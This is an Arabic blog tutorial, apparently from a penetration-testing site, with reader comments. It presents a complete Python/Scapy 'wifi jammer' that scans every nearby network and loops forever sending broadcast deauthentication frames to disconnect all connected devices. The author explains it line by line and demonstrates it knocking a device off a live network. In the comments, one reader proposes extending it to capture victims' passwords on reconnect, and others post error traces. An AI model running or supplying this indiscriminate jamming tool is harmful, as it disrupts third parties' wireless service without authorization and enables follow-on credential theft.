مقال : إستخدام Python لبرمجة سكربت للتشويش على الشبكات اللاسلكية
في الفترات الأخيرة تكلمنا عن العديد والعديد من الأمور التي يُمكن أن نقوم ببرمجتها بلغة Python والتي بالطبع تتعلق في مجال أمن المعلومات وإختبار الإختراق بشكل مُباشر ، حيث أننا نؤمن بضرورة قيام مُختبر الإختراق ببرمجة الأدوات الخاصة به والتي يستخدمها في عمليات إختبار الإختراق المُختلفة ، حيث بالطبع تساعده على تأكيد فهمه للعملية التي يقوم بها ، وتعطيه خيارات أكبر في عملية التعديل عليها وإضافة خواص مُساعدة له في هذه العملية أو الوظيفة التي يقوم بها بشكل أساسي في إختبار الإختراق مهما إختلفت طبيعتها.
اليوم بإذن الله سوف نتكلم عن موضوع جديد ومُثير ، حيث سوف نتعرف على كيفية كتابة أداة بسيطة تقوم بعملية التشويش على الشبكات المُحيطة وفصل الأجهزة المُتصلة بهذه الشبكة ، تكلمنا مُسبقاً عن هذا الموضوع في عدة مقالات تستطيعون مُراجعة قسم حماية الشبكات لقرأتها ، حيث قُمنا بشرح إستخدام بعض الأدوات التي تقوم بهذه العملية بشكل تلقائي ، واليوم كما ذكرت سوف نقوم ببرمجة سكربت خاص بنا يقوم بهذه العملية ، حيث سوف نقوم بالتشويش على جميع الشبكات المُحيطة بنا بضغطة زر واحده فقط بإستخدام سكربت Python ، أي بمعنى أخر أننا سوف نُحول جهاز الكومبيوتر الخاص بنا إلى جهاز تشويش.
في البداية دعونا نبدأ بفهم ألية العمل الرئيسية لفكرة التشويش وكيف نستطيع فصل الأجهزة الموجوده حولنا بكل سهولة ، كما نعلم أنه عندما نُريد فصل الإتصال الخاص بنا نقوم بإرسال طلب للراوتر نُخبره بأننا نُريد إنهاء الإتصال ، هُنا سوف نقوم بعمل إنتحال MAC Address للجهاز المُتصل بالشبكة والذي نُريد أن نقوم بالتشويش عليه ، حيث سوف نُرسل Deauthentication packet مُزيفة من الجهاز الخاص بنا تحمل عنوان MAC Address الخاص بالجهاز الذي سوف نقوم بالتشويش عليه ، وعنوان MAC Address للراوتر الذي سوف يستقبل هذا الطلب.
مبدئياً قُمت برفع السكربت على حساب Github الخاص ب iSecur1ty ، وهذه الصورة تُوضح الكود :
[python]
#!/usr/bin/python ################################################################### # # Python Wifi Jammer # @mohammadaskar2 # http://www.isecur1ty.org # ################################################################### from scapy.all import * from wifi import Cell import time import wireless wifi1 = wireless.Wireless() interface = wifi1.interface() all_wifi = Cell.all(interface) #print "SSID\t BSSID\t Channel\t Power\t" print "[+] scannig for networks .." bssid = [] time.sleep(2) for wi in all_wifi: print "SSID is : " + wi.ssid print "BSSID is : " + wi.address print "Channel is : " + str(wi.channel) print "Quality is : " + str(wi.quality) print "+" * 20 bssid.append(wi.address) time.sleep(0.5) print "#" * 70 def jam(address): conf.iface = "mon1" bssid = address client = "FF:FF:FF:FF:FF:FF" # count = 3 conf.verb = 0 packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7) for n in range(int(count)): sendp(packet) print 'Deauth num '+ str(n) + ' sent via: ' + conf.iface + ' to BSSID: ' + bssid + ' for Client: ' + client while True: for item in bssid: print "Jamming on : {0}".format(item) jam(item)
[python]
سوف أقوم بتوضيح فكرة السكربت سطر بسطر ، ولكن قبل ذلك نُريد أن أقوم بتوضيح بسيط للعملية لكي تُصبح عملية البرمجة أكثر سهولة في.
النظرية :
أولاً سوف نحتاج لجمع جميع الشبكات بشكل أوتوماتيكي لغرض التعرف عليها ، بعد ذلك سوف نقوم بجمع عناوين Bssid الخاصة بجميع الشبكات ووضعها على حدى لأغراض التواصل معها ، لأنهُ كما ذكرنا نحتاج عنوان MAC Address الخاص بالشبكة لكي نقوم بإرسال الحُزمة لها ، بعد ذلك سوف نحتاج لضبط كارد الوايرليس الخاص بنا على Monitor Mode ، بعدها سوف نقوم بتجهيز الحُزمة حيث سوف نقوم بإستخدام Scapy في هذه العملية.
قُمت بالإستعانة بكود جاهز يقوم بإرسال الحُزمة من خلال Scapy ، وأنصحكم بدراستها بشكل مُعمق أكثر في حال كُنتم تريدون معرفة المزيد حولها
بعد تجهيز الحُزمة سوف نقوم أخيراً بإرسالها بعدد مُعين إلى جميع الشبكات لنضمن أن تقوم بفصل جميع الأجهزة الموجوده بها من خلال عمل Brodcast وبث الحُزم لجميع الأجهزة المُتصلة وبهذا نكون قد فصلنا جميع الأجهزة المُتصلة حولنا وقمنا بالتشويش عليها.
النظرية لغاية الأن مُمتازة ، دعونا نقوم بعمل Implementation لهذه النظرية وتنفيذها كما بالكود المُسبق.
شرح السكربت :
لن أقوم بشرح أساسيات وسوف أفترض وجود أساسيات اللغة لديكم ، وتستطيعون مُراجعة دورة إستخدام Python في إختبار الإختراق.
في بداية السكربت من السطر 9 ولغاية السطر 12 نقوم بإستدعاء المكتبات التي سوف نحتاجها وهي :
- Scapy : لإعداد الحُزمة وإرسالها.
- wifi : لإظهار جميع الشبكات.
- time : لضبط أمور التوقيت.
- wireless : سوف نحتاجها في عملية كشف interfaces الموجوده بالجهاز.
بالسطر 14 و 15 نقوم بمعرفة interface الرئيسي حيث سوف نقوم بإستخدامه في عملية جمع المعلومات الخاصة بالشبكات حولنا.
السطر 17 نقوم بإستخدام Cell.all Method لكي نقوم بجمع جميع الشبكات المُحيطة بنا وتخزينها على شكل List لكي يتم التعامل مع كُل شبكة لاحقاً بالأسطر التي تليه.
السطر 19 نقوم بطباعة الجُملة كما نرى ، والسطر 20 نقوم بعمل List إسمها bssid سوف نقوم بوضع جميع عناوين bssid الخاصة بِكُل شبكة ، السطر 21 نقوم بتأخير تنفيذ السطر التالي لمُدة ثانيتين من خلال time.sleep من السطر 22 لغاية السطر 29 نقوم بتمرير جميع الشبكات التي وجدناها بالسطر 17 والتعامل مع كُل شبكة على حدى ، حيث نطبع عنوان ssid وعنوان bssid والقناة وكذلك قوة وجودة الإتصال مع الشبكة ، وبالسطر 28 نقوم بعمل append على bssid list حيث نقوم بإضافة عنوان bssid الخاص بالشبكة داخلها.
الأن أصبح لدينا List كاملة بجميع عناوين bssid الخاصة بالشبكات ، حيث سوف نقوم بإستخدامها للتوصل بالشبكة وإرسال حُزمة Deauthentication لها.
بعد ذلك بالسطر 33 قُمنا بتعريف Function قُمنا بتسميتها بـ Jam حيثُ تأخُذ المُتغير address والذي بطبيعة الحال سوف يكون هو عنوان bssid الذي جمعناه ووضعناه داخل bssid List ، السطر 34 هُنا نقوم بتعريف كارد الوايرليس أو “interface” الذي كما ذكرنا يجب أن يكون مُفعل بوضعية Monitor Mode وفي حالتنا هو mon1 ، بعد ذلك قُمنا بتعريف bssid على أنه المُتغير الذي تأخذه الدالة Jam ، ويليه المُتغير Client حيث هو عنوان Mac Address الخاص بالهدف ، ونستطيع إستخدام “FF:FF:FF:FF:FF:F” لعمل Broadcast كما ذكرنا مُسبقاً.
في السطر 37 قُمنا بتعريف المُتغير count المسؤول عن عدد الحُزم التي سوف يتم إرسالها للشبكة الواحده ، حيث انني حددتها ب 3 حُزم فقط ، وبالسطر 38 قُمنا بضبط Scapy verbose بالقيمة 0 لكي لا يتم عرض أي معلومات من قبل Scapy على الشاشة.
في السطر 39 هُنا نقوم بتجهيز المُتغيرpacket بالحُزمة وضبطها وإعدادها بشكل عام لكي تقوم بإرسال Deauthentication packet من وإلى العناوين التي تكلمنا عنها مُسبقاً وأنصحكم بالإطلاع على Scapy أكثر للتعرف على العديد من الأمور المُمتعة حول هذا الموضوع ومواضيع مُختلفة في التعامل مع الشبكات من خلال Scapy.
من السطر 40 وإلى السطر 42 نقوم بعمل حلقة Loop بعدد الشبكات التي تم إكتشافها ومن ثم نقوم بإستخدام sendp في السطر 41 لإرسال packet التي تم تعريفها مُسبقاً من خلال المُتغير packet ، حيث سوف تُرسل الحُزمة بناءاً على ما تم شرحه في الأعلى ، والسطر 42 يقوم بطباعة المعلومات التي تم الإرسال إليها.
وأخيراً من السطر 43 إلى السطر 46 نقوم بتشغيل while loop مُستمرة ، ونقوم بسحب جميع عناوين Bssid الخاصة بالشبكات من خلال تعريف مُتغير item وسحبها بإستخدام for loop من Bssid List وفي السطر الاخير 46 نقوم بإستدعاء الدالة Jam وتمرير المُتغير item كعنوان bssid وتنفيذ ما سبق عليه.
سكربت بسيط ولا يوجد به أي تعقيدات ، الأن سوف نقوم بتشغيله ولنرى ماذا سوف يحصل بالضبط فور تشغيله :
كما نرى بهذه الصورة فور تشغيل البرنامج قام بإظهار جميع الشبكات الموجوده حولي.
قمت بإخفاء باقي العناوين لأغراض تتعلق بالخصوصية 🙂
والصورة التالية توضح كذلك إرسال الحُزم بشكل صحيح إلى الهدف :
وكما نرى هذه نتيجة من أحد الاجهزة المُتصلة بالشبكة بعد التشويش عليها حيث نرى أنه تم فصلها من الشبكة :
حيث أنني كُنت مُتصل بشبكة Orange وكما نرى لقد تم قطع الإتصال ، وبهذا قد نكون أتممنا الهجمة بالشكل المطلوب ، يُمكنكم بالطبع التعديل على السكربت ليتوافق مع إحتياجاتكم ، مثل إدخال العناوين يدوياً ، أو تحديد بعض القوانين والقواعد عليها ، حيث ان الأداة قابلة للتعديل وفق المنهج الذي تكلمنا عنه مُسبقاً.
هذا ما عندي فإن أحسنت فمن الله، وإن أسأت أو أخطأت فمن نفسي والشيطان و أتمنى أن يكون هذا المقال قد نال إعجابكم وبإذن الله نلتقي في مقالات أخرى.
شكرا على المنشور , يمكن أيضا القيام بذلك بواسطة mdk3 🙂
صحيح ولاكن اداة mdk3 لاتضهر لك الشبكات المحيطة بك
مقال جميل جدا ( تبسيط : تنتحل الاداة بيانات جهاز الضحية وتقوم بطلب فصل الاتصال من الروتر و تكرار نفس العملية على كامل عدد المشتركين )
We can add a modification to get password when victime try to reconnect to the access points
That’s well be great as online attack
أخي ممكن البريد الالكتروني الخاص بك اريد التكلم معك
اخ محمد عسكر عذرا على السؤال الشاطح خارج الموضوع
انا سجلت بدورتين (دورة اختبار الويب + دورة الهكر الاخلاقي )
قبل مده كانت فيه
الان ادخل واحصل الكورس محذووف من الموقع اللي فيه الدوره
اتمنى الافاده او لو هناك روابط اخرى تم رفعها
لو سمحت ايه افضل الكتب والدورات لشرح scapy ؟ وتكون للمبتدئين ولو في عربي يبقي افضل
لم أنجح في تجربة السكربت:
Jamming on : XX:XX:XX:XX:XX:XX
Traceback (most recent call last):
File “jammer.py”, line 46, in
jam(item)
File “jammer.py”, line 41, in jam
sendp(packet)
File “/usr/lib/python2.7/dist-packages/scapy/sendrecv.py”, line 259, in sendp
__gen_send(conf.L2socket(iface=iface, *args, **kargs), x, inter=inter, loop=loop, count=count, verbose=verbose, realtime=realtime)
File “/usr/lib/python2.7/dist-packages/scapy/arch/linux.py”, line 406, in __init__
self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
File “/usr/lib/python2.7/socket.py”, line 187, in __init__
_sock = _realsocket(family, type, proto)
socket.error: [Errno 1] Operation not permitted
شكرا على المنشور
WARNING: No route found for IPv6 destination :: (no default route?)
Traceback (most recent call last):
File “jammer.py”, line 10, in
from wifi import Cell
ImportError: No module named wifi
قم بتنفيذ الأمر pip install wifi لتنصيب المكتبة wifi ، حيث هذا الخطأ يُخبرك بأن المكتبة غير موجوده أساساً
شكرا اخي محمد جربت السكريبت لكن ظهرت بعض الاخطاء
WARNING: No route found for IPv6 destination :: (no default route?)
Traceback (most recent call last):
File “/mnt/sda2/jammer.py”, line 14, in
wifi1 = wireless.Wireless()
File “/usr/lib/python2.7/site-packages/wireless/Wireless.py”, line 23, in __init__
self._driver_name = self._detectDriver()
File “/usr/lib/python2.7/site-packages/wireless/Wireless.py”, line 47, in _detectDriver
response = cmd(‘nmcli –version’)
File “/usr/lib/python2.7/site-packages/wireless/Wireless.py”, line 11, in cmd
stdout=subprocess.PIPE, stderr=subprocess.STDOUT
UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xc3 in position 24: ordinal not in range(128)
ممكن مساعدة اخي محمد و شكراا
مرحبا محمد موضوع جميل لدي
هل هذا السكربت يعمل اذا كان الكالي لينكس نظام رئيسي فقط لانني جربته على الكالي لينكس في النظام الوهمي لم يجدي اي نفع
تظهر لي مثل مشكلة الاخ Helmi
حتى بعد تنصيب مكتبة wifi
تظهر لي هذه الرسالة
(((
WARNING: No route found for IPv6 destination :: (no default route?)
Traceback (most recent call last):
File “jammer.py”, line 10, in
from wifi import Cell
ImportError: No module named wifi
)))
ممكن اطلب طلب انا مشترك فى شبكه وكل ما اعمل شير من الكمبيوتر للموبيل الراجل يفصل عنى النت ممكن اعرف ازاى اخفى الشير بتاعى من الشبكه
السلام عليكم….
الاستاذ محمد عسكر…
أود نشر العديد من المقالات حول الامن المعلوماتي،لدي الكثير من المقالات أود الكتابه عنها و لكن لم تتح لي الفرصه…
لقد قمت بمراسلتكم سلفاً عبر البريد الالكتروني و لكنكم لم تقومو بالرد على رسالتي….
أرجو أن تقوم بإعادة النظر في طلبي;إذا كانت لديكم أي سؤال حول المعايير التي اتبعها لكتابة مقالاتي،بإمكاني إرسال مقال تجريبي.
لكم مني جزيل الشكر و التقدير
شكرا ، مقال جميل جدا . أنا جديد في ميدان البرمجة بالغة python , قمت بعمل بعض التغيرات على سكريبت
https://github.com/AlibiGhazi/wifi-jammer
أرجو منك مراجعته
لكم مني جزيل الشكر و التقدير
السلام عليكم ورحمة الله وبركاته ، اخي ممحمد عسكر او احد المتواجدين بالتعليقات
، لمن عنده مكتبه wifi لاني لم استطعت أن اثبتها من pip install wifi الرجاء مساعده احد الاشخاص
ممتاز، شكرا.
إلى الآن لا تقومون بشرح كيفية استخدام هده الاداة كل ماتقولونه هو تفاهات حول دور هده الاداة